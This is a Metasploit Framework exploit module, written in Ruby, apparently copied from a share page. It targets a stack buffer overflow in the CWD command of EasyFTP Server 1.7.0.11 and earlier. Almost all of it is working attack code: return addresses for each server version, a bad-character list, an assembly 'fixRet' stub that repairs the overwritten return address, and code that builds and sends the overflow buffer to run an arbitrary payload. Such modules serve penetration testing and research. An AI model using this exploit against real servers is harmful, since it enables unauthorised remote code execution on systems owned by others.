扫码分享
验证：
体验盒子##
# $Id: easyftp_cwd_fixret.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow',
'Description'=> %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
leads to a stack based buffer overflow.EasyFTP allows anonymous access by
default; valid credentials are typically unnecessary to exploit this vulnerability.
After version 1.7.0.12, this package was renamed "UplusFtp".
This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
'fixing' the return address post-exploitation.See references for more information.
},
'Author' =>
[
'Paul Makowski <my.hndl [at] gmail.com>', # original version
'jduck' # various fixes, remove most hardcoded addresses
],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 9179 $',
'References' =>
[
[ 'OSVDB', '62134' ],
[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
[ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ],
[ 'URL', 'http://code.google.com/p/easyftpsvr/'],
[ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ],
[ 'URL', 'https://www.securityfocus.com/bid/38262/exploit']
],
'Privileged' => false,
'Payload'=>
{
# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
'Space'=> 505 - 30 - 25,
'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
'DisableNops' => true
},
'Platform' => 'win',
'Targets'=>
[
[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.10',{ 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.11',{ 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
],
'DisclosureDate' => 'Feb 16 2010',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
# NOTE:
# This exploit jumps to edi, which happens to point at a partial version of
# the 'buf' string in memory. The fixRet below fixes up the code stored on the
# stack and then jumps there to execute the payload. The value in esp is used
# with an offset for the fixup.
fixRet_asm = %q{
mov ecx, 0xdeadbeef
mov edi, esp
sub edi, 0xfffffe14
mov [edi], ecx
add edi, 0xffffff14
jmp edi
}
fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
buf = ''
print_status("Prepending fixRet...")
buf << fixRet
buf << make_nops(0x20 - buf.length)
#buf << "C" * (0x20 - buf.length)
print_status("Adding the payload...")
buf << payload.encoded
# Backup the original return address bytes
buf[1,4] = buf[268,4]
print_status("Overwriting part of the payload with target address...")
buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes
# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..
print_status("Sending exploit buffer...")
send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string
handler
disconnect
end
end
体验盒子
